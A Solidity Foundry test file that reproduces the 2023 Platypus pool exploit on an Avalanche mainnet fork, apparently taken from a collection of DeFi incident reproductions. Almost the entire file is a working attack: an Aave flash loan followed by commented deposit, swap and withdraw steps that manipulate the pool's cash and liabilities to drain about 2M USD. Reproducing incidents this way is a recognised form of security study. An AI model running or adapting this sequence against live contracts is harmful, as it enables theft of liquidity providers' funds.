src/test/2023-10/Platypus03_exp.sol

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo - Total Lost : ~2M USD$
8// Attacker : https://snowtrace.io/address/0x0cd4fd0eecd2c5ad24de7f17ae35f9db6ac51ee7
9// Attack Contract : https://snowtrace.io/address/0x44e251786a699518d6273ea1e027cec27b49d3bd
10// Vulnerable Contract : https://snowtrace.io/address/0xe5c84c7630a505b6adf69b5594d0ff7fedd5f447
11// Attack Tx : https://snowtrace.io/tx/0x4425f757715e23d392cda666bc0492d9e5d5848ff89851a1821eab5ed12bb867 multiple txs
12 
13// @Info
14// Vulnerable Contract Code : https://snowtrace.io/address/0xe5c84c7630a505b6adf69b5594d0ff7fedd5f447#code
15 
16// @Analysis
17// Twitter Guy : https://twitter.com/BlockSecTeam/status/1712445197538468298
18// Twitter Guy : https://twitter.com/peckshield/status/1712354198246035562
19 
20interface IPlatypusPool {
21    function deposit(address token, uint256 amount, address to, uint256 deadline) external returns (uint256);
22 
23    function withdraw(
24        address token,
25        uint256 liquidity,
26        uint256 minimumAmount,
27        address to,
28        uint256 deadline
29    ) external returns (uint256);
30 
31    function swap(
32        address fromToken,
33        address toToken,
34        uint256 fromAmount,
35        uint256 minimumToAmount,
36        address to,
37        uint256 deadline
38    ) external returns (uint256, uint256);
39}
40 
41contract ContractTest is Test {
42    IERC20 WAVAX = IERC20(0xB31f66AA3C1e785363F0875A1B74E27b85FD66c7);
43    IERC20 SAVAX = IERC20(0x2b2C81e08f1Af8835a78Bb2A90AE924ACE0eA4bE);
44    IERC20 LP_AVAX = IERC20(0xC73eeD4494382093C6a7C284426A9a00f6C79939);
45    IERC20 LP_sAVAX = IERC20(0xA2A7EE49750Ff12bb60b407da2531dB3c50A1789);
46    IPlatypusPool PlatypusPool = IPlatypusPool(0x4658EA7e9960D6158a261104aAA160cC953bb6ba);
47    IAaveFlashloan aaveV3 = IAaveFlashloan(0x794a61358D6845594F94dc1DB02A252b5b4814aD);
48 
49    function setUp() public {
50        vm.createSelectFork("avalanche", 36_346_397);
51        vm.label(address(WAVAX), "WAVAX");
52        vm.label(address(SAVAX), "SAVAX");
53        vm.label(address(LP_AVAX), "LP_AVAX");
54        vm.label(address(LP_sAVAX), "LP_sAVAX");
55        vm.label(address(aaveV3), "aaveV3");
56        vm.label(address(PlatypusPool), "PlatypusPool");
57    }
58 
59    function testExploit() public {
60        WAVAX.approve(address(PlatypusPool), type(uint256).max);
61        SAVAX.approve(address(PlatypusPool), type(uint256).max);
62 
63        address[] memory assets = new address[](2);
64        assets[0] = address(WAVAX);
65        assets[1] = address(SAVAX);
66        uint256[] memory amounts = new uint256[](2);
67        amounts[0] = 1_054_969 * 1e18;
68        amounts[1] = 950_996 * 1e18;
69        uint256[] memory modes = new uint256[](2);
70        modes[0] = 0;
71        modes[1] = 0;
72        aaveV3.flashLoan(address(this), assets, amounts, modes, address(this), "", 0);
73 
74        emit log_named_decimal_uint(
75            "Attacker WAVAX balance after exploit", WAVAX.balanceOf(address(this)), WAVAX.decimals()
76        );
77 
78        emit log_named_decimal_uint(
79            "Attacker SAVAX balance after exploit", SAVAX.balanceOf(address(this)), SAVAX.decimals()
80        );
81    }
82 
83    function executeOperation(
84        address[] calldata assets,
85        uint256[] calldata amounts,
86        uint256[] calldata premiums,
87        address initiator,
88        bytes calldata params
89    ) external payable returns (bool) {
90        WAVAX.approve(address(aaveV3), amounts[0] + premiums[0]);
91        SAVAX.approve(address(aaveV3), amounts[1] + premiums[1]);
92 
93        PlatypusPool.deposit(address(WAVAX), amounts[0], address(this), block.timestamp + 1000); //deposit WAVAX, mint LP_AVAX
94        PlatypusPool.deposit(address(SAVAX), amounts[1] / 3, address(this), block.timestamp + 1000); //deposit SAVAX, mint LP_sAVAX
95 
96        PlatypusPool.swap(address(SAVAX), address(WAVAX), 600_000 * 1e18, 0, address(this), block.timestamp + 1000); // manipulate the cash and liabilities of the LP_AVAX pool
97        PlatypusPool.withdraw(address(WAVAX), 1_020_000 * 1e18, 0, address(this), block.timestamp + 1000); // inflate the WAVAX price in platypus pool
98 
99        PlatypusPool.swap(address(WAVAX), address(SAVAX), 1_200_000 * 1e18, 0, address(this), block.timestamp + 1000); // swap WAVAX to SAVAX, earn more SAVAX
100 
101        PlatypusPool.withdraw(
102            address(WAVAX), LP_AVAX.balanceOf(address(this)), 0, address(this), block.timestamp + 1000
103        ); // withdraw LP_AVAX
104        PlatypusPool.swap(address(SAVAX), address(WAVAX), 600_000 * 1e18, 0, address(this), block.timestamp + 1000); // swap SAVAX to WAVAX
105        PlatypusPool.withdraw(
106            address(SAVAX), LP_sAVAX.balanceOf(address(this)), 0, address(this), block.timestamp + 1000
107        ); // withdraw LP_sAVAX
108 
109        return true;
110    }
111}